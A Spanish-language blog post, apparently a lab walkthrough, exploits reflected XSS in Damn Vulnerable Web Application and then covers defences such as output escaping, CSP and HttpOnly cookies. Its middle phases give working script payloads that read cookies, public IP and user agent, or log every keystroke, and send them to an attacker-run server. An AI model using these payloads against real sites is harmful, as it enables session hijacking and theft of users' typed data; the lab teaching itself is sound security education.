🛡️Reflected XSS: cuando el servidor te traiciona

En el post anterior rompíamos cosas desde el navegador con DOM XSS.
Ahora subimos un nivel: aquí el propio servidor se convierte en cómplice 😏

Bienvenido al mundo del Cross-Site Scripting (XSS) reflejado, donde tú envías el ataque… y el servidor lo devuelve envuelto para regalo.


🎯 Objetivo (modo atacante ON)

Queremos:

  • Inyectar JavaScript en la respuesta del servidor
  • Ejecutarlo en la víctima
  • Robar datos (cookies, IP, navegador…)
  • Y, si nos ponemos creativos… espiar hasta lo que escribe 👀

🧪 Laboratorio

Seguimos con nuestro campo de pruebas favorito:

  • App: Damn Vulnerable Web Application
  • Nivel: LOW (modo paseo)
  • Herramientas:
    • Navegador
    • Consola (F12)
    • Servidor Python
    • Opcional: Burp Suite

🔍 Fase 1: El bug (spoiler: es grave)

Código vulnerable:

echo '<pre>Hello ' . $_GET['name'] . '</pre>';

Traducción:

💀 “Hola usuario, voy a imprimir lo que me mandes… tal cual”


🧠 Fase 2: comportamiento normal

http://localhost:8080/vulnerabilities/xss_r/?name=Juan

Resultado:

Hello Juan

Todo bien… de momento.


💥 Fase 3: probamos a romperlo

<script>alert(1)</script>

Resultado:

💣 Popup → código ejecutándose

El servidor acaba de convertirse en nuestro altavoz.


🔎 Fase 4: cookies a la vista

<script>alert(document.cookie)</script>

Resultado:

🍪 Cookies expuestas (PHPSESSID incluida)

Ya sabes cómo sigue la historia…


🌐 Fase 5: sacando la IP (porque ¿por qué no?)

<script>
fetch('https://api.ipify.org?format=json')
.then(r=>r.json())
.then(data=>alert(data.ip))
</script>

Aquí usamos ipify para obtener la IP pública.

Resultado:

🌍 IP de la víctima en pantalla


💥 Fase 6: exfiltración silenciosa

Levantamos servidor:

python3 -m http.server 8000

Payload:

<script>
fetch('https://api.ipify.org?format=json')
.then(r=>r.json())
.then(data=>{
fetch('http://10.0.2.15:8000/?ip='+data.ip)
})
</script>

Resultado:

🎯 Datos robados sin levantar sospechas


🔐 Fase 7: modo pro — robo completo

Aquí ya nos venimos arriba:

<script>
fetch('https://api.ipify.org?format=json')
.then(r=>r.json())
.then(data=>{
let info = {
ip: data.ip,
cookie: document.cookie,
agent: navigator.userAgent
};
fetch('http://10.0.2.15:8000/?data='+btoa(JSON.stringify(info)));
});
</script>

Resultado:

📦 Datos empaquetados en Base64:

Traducción:

👉 Sabemos quién eres, qué navegador usas… y tenemos tu sesión


⌨️ Fase 8: keylogger (esto ya escala rápido)

<script>
document.onkeypress = function(e){
fetch("http://10.0.2.15:8000/?key=" + e.key);
}
</script>

Resultado:

⌨️ Cada tecla → enviada al atacante

Sí, esto ya es nivel “me estás espiando fuerte”.


🧠 ¿Qué está pasando aquí?

A diferencia del DOM XSS:

  • Aquí el payload sí pasa por el servidor
  • El servidor lo devuelve en la respuesta
  • El navegador lo ejecuta como si fuera legítimo

En resumen:

👉 El servidor refleja tu ataque… sin cuestionarlo


💥 Vulnerabilidad

Reflected XSS

Características clave:

  • Basado en peticiones (GET, POST…)
  • No se almacena
  • Necesita que la víctima haga clic (link malicioso típico)

🚨 Impacto real

Un atacante puede:

  • Robar sesiones
  • Obtener IP y datos del sistema
  • Ejecutar acciones como el usuario
  • Inyectar contenido falso
  • Espiar entradas (keylogging)
  • Redirigir a phishing

🛡️ Cómo defenderte (aquí está la magia de verdad)

1. Escapar SIEMPRE la salida

En PHP:

echo '<pre>Hello ' . htmlspecialchars($_GET['name']) . '</pre>';

Esto convierte:

<script>

en texto inofensivo.


2. Validar entradas

No aceptes cualquier cosa:

  • Define formatos
  • Usa listas blancas (whitelisting)

3. Implementa CSP

La Content Security Policy puede bloquear scripts inline.


4. Cookies seguras

  • HttpOnly → evita robo por JS
  • Secure → solo HTTPS

5. Evita reflejar input directamente

Regla de oro:

👉 Nunca devuelvas al usuario lo que te manda sin procesarlo


🏁 Conclusión

El Reflected XSS es rápido, simple… y muy efectivo.

Solo necesita:

  1. Un input vulnerable
  2. Un usuario curioso que haga clic
  3. Y listo → ejecución remota en su navegador

💡 Si el DOM XSS era “yo me ataco solo”
💡 Esto es: “te mando un link… y te atacas tú”

Scroll al inicio